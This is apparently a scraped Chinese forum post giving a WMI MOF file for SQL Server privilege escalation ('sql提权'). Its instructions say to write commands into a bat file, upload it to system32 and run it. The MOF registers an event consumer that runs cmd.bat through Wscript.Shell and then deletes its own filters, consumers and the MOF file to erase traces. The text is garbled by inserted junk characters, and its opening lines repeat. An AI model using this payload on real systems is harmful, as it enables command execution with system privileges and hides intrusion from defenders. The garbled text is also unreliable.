这个sql提权MOF需要运行 system下的文件,不能定义路径。7 f& n/ Z: f, s; ]
需要将要运行的命令写入到bat上传到system32目录,然后执行。; `5 T# K1 d9 e7 w5 _8 b2 [
- G1 o" s& r/ P0 I% e7 F
这个sql提权MOF需要运行 system下的文件,不能定义路径。
/ s. D2 g. \8 `5 K" R需要将要运行的命令写入到bat上传到system32目录,然后执行。+ G4 b7 d( a3 D, t3 E! N/ T$ M; B
4 e# \- L5 O& H0 }( e7 w1 x' \7 G
#pragma
. N# K: ]+ i! M/ U! q9 q namespace("\\\\.\\root\\cimv2"). u5 C7 @7 h( h+ S+ ^: _1 z( B
class- {* ^* d ^0 r: h# R% [, _
MyClass547# w& C0 [$ D& Z4 C4 K, a8 [
{ [key]7 R6 q6 S Q1 @
string
2 S) l0 e5 G! D0 J Name;
3 G; ` g2 ` I- {" m( y5 d; j };
1 u. k9 o& j$ u( a6 @6 V7 G/ r. H# z class
8 n& p% n t/ f6 w; S ActiveScriptEventConsumer/ F" z7 r; ^; g* B( o5 c9 t0 t# D
: __EventConsumer { [key]. s5 a& ` |, k9 Z/ z9 E7 n
string$ Y7 O/ p4 g7 m: q; ~* j
Name; [not_null]+ Y6 g& \0 }9 q0 q7 O3 n
string
1 c# s: W2 b; p% C: u ScriptingEngine; string
7 V) h8 e; m+ W* C3 [# j5 p ScriptFileName; [template]0 J* L/ W( `% j# X6 A
string
' l% n; n' h1 w/ O) i% s& y3 m- t ScriptText; uint32 KillTimeout;. ?0 r- z- Z* j$ a
}; instance of __Win32Provider as $P {4 h$ _5 B/ x6 v$ f) r& Q' N% j; }
Name
0 }1 a9 r) U5 C2 F; g" I* L. F =! F' H3 z: G4 d4 i3 P6 D
"ActiveScriptEventConsumer"; CLSID =: x. Y9 l! D& h
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";8 o$ b/ M% U- S4 y
PerUserInitialization
( V6 R! k: S, t+ w" R3 a! U/ @; _+ R = TRUE;
( V! |3 }" x$ A l7 \& G1 Y0 J }; instance of __EventConsumerProviderRegistration { Provider
" m* X$ k( v% A$ ] = $P; ConsumerClassNames5 S" n! i1 Z; k! a
=
) A% `, n1 Q; S3 B4 C( \ {"ActiveScriptEventConsumer"};
; V- ^! I1 m6 C3 O' d };
0 R+ k9 b0 f3 ~ Instance of ActiveScriptEventConsumer
7 `& p+ r! K) ?' |" }. h. w as $cons { Name% A- J4 w$ t4 i' D) {0 P% b
=7 D; f0 m: l) T9 ~% L/ i
"ASEC"; ScriptingEngine
* [* M7 c2 k7 ?' L' K =' j- _! Q3 Z( b
"JScript"; ScriptText: ` B& L+ G: b0 ^ A
=" m. q7 O7 A3 e
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };* @9 R- r5 r; x5 V1 |) u4 H
Instance of ActiveScriptEventConsumer
! T: e7 C& Q. ? U/ q% G as $cons2 { Name% v+ Y9 F* |! v5 X; H/ a
= ~( @! k% ?3 ^. l2 ]1 H
"qndASEC"; ScriptingEngine/ C! Z( Y. [% D8 e& D* f0 n/ H' U* U* s+ `
=
4 j; y: Y5 L- i% d/ s% D3 x "JScript"; ScriptText
# t: b/ T) T" {1 p =
; i1 n1 ~$ T" v3 O; T "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
' C8 J2 S, Z0 r9 u- k' @ }; instance of __EventFilter as $Filt { Name
0 r' Z: F, h& ^* w$ T/ r' a =/ a7 _3 ]2 r* m T& s
"instfilt"; Query) _6 A) X0 |. d. O! U* R
=
4 o P0 Z$ G6 T/ q% l1 ^1 z9 q "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage% }2 R. m, U7 v, n% ] m
=/ |4 F4 G0 z2 s9 K8 Q) H5 c
"WQL"; }; instance of __EventFilter as $Filt2 { Name$ l, f4 N9 A. v0 _+ o: ^ Y
=/ J$ F; y: t% D9 \' {% A( P. P
"qndfilt"; Query
3 ?) S4 [- L, a0 d' w =
! R( Q, D; e% X y" Q "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage% _/ ~8 T$ C! X! w6 M
=: T& s( C( e A& ]
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer8 m5 n/ S+ _3 U1 w! M5 [' |* ?. U
= $cons; Filter& E' D6 [+ G7 u% G* H
= $Filt;: N; ] A" R/ n: Y! F6 ^4 J
}; instance of __FilterToConsumerBinding as $bind2 { Consumer! r# I+ t; Y8 E7 v; D$ q, V8 Z
= $cons2; Filter7 |+ o# M& d6 l _ K& ^
= $Filt2;+ @6 b, O+ d3 J9 ?
}; instance of MyClass5474 P) a$ C! x. W% }
as $MyClass { Name# L) n0 _( Q+ W% [% {5 D& U
=
- L9 m {* g: g5 J) Q7 | "ClassConsumer";4 l6 s6 o" B; ?* I7 I0 i ]+ t
}; |